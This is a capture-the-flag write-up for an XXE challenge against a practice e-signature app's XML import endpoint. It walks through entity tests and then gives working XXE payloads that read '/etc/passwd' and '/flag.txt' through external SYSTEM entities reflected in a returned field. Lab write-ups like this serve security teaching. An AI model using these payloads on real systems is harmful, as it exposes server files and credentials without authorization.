Webverselabs Foldmark Challenge XXE
Scenario :
Foldmark serves about five thousand small businesses and has held SOC 2 Type II since 2024. Last quarter the sales team kept losing migration deals to “we can’t bring our history with us,” so the product team shipped a cross-vendor envelope importer on a tight deadline — drop in a file from a competitor and Foldmark renders a preview with the signer, document title, organization and timestamp lifted straight from the document.
Solution :
As usual, we first naviage the application like a normal user , check different endpoints , different features , … , This is a documents signing app that uses xml docs , we find this /docs endpoint which gives us an example of the strcuture that our envelope should take .
Fuzzing didn’t reuturn any additional endpoints , let’s just create an account .
We do find this /import endpoint which allows us to impore xml files , now first we will use the example we found in the /docs page , just to get an idea of what fields are returned to us once we submit the file .
1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE envelope [
<!ENTITY provider "Example E-Sign Corp">
]>
<envelope>
<Signer>Patricia Vance</Signer>
<DocumentTitle>Q1 Mutual NDA</DocumentTitle>
<Timestamp>2026-05-13T09:14:22Z</Timestamp>
<Organization>Vance & Holloway LLP</Organization>
<SourceProvider>&provider;</SourceProvider>
</envelope>
We see that the Singer , Document title and Organization are all returned to us , now first test would be to add a New entity then reference it in one of the fields returned to us .
1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE envelope [
<!ENTITY provider "Example E-Sign Corp">
<!ENTITY xxe "It_worked">
]>
<envelope>
<Signer>&xxe;</Signer>
<DocumentTitle>Q1 Mutual NDA</DocumentTitle>
<Timestamp>2026-05-13T09:14:22Z</Timestamp>
<Organization>Vance & Holloway LLP</Organization>
<SourceProvider>&provider;</SourceProvider>
</envelope>
The fact that it is reflected to us is a good sign , now let’s try to read External files , in this case the /etc/passwd , for this one we can use SYSTEM which is the XML keyword that tells the parser to fetch an external resource ,the file:// is the URI scheme that tells it where to fetch from.
1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE envelope [
<!ENTITY provider "Example E-Sign Corp">
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<envelope>
<Signer>&xxe;</Signer>
<DocumentTitle>Q1 Mutual NDA</DocumentTitle>
<Timestamp>2026-05-13T09:14:22Z</Timestamp>
<Organization>Vance & Holloway LLP</Organization>
<SourceProvider>&provider;</SourceProvider>
</envelope>
Perfect , now that we can read files on the system , we can read the flag on the root directory : /flag.txt
1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE envelope [
<!ENTITY provider "Example E-Sign Corp">
<!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<envelope>
<Signer>&xxe;</Signer>
<DocumentTitle>Q1 Mutual NDA</DocumentTitle>
<Timestamp>2026-05-13T09:14:22Z</Timestamp>
<Organization>Vance & Holloway LLP</Organization>
<SourceProvider>&provider;</SourceProvider>
</envelope>
That was it for this challenge , see you in the next one :)